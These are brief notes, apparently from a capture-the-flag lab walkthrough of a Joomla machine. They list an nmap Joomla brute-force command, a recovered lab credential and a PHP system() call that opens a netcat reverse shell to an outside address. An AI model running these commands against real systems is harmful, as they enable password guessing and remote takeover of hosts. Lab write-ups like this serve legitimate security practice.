Skip to content

Joomla Password

nmap -p80 --script "http-joomla-brute" --script-args 'userdb=wordlist,passdb=password' 10.10.10.150

Floris:Curling2018!

Getting shell

system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 4444 >/tmp/f");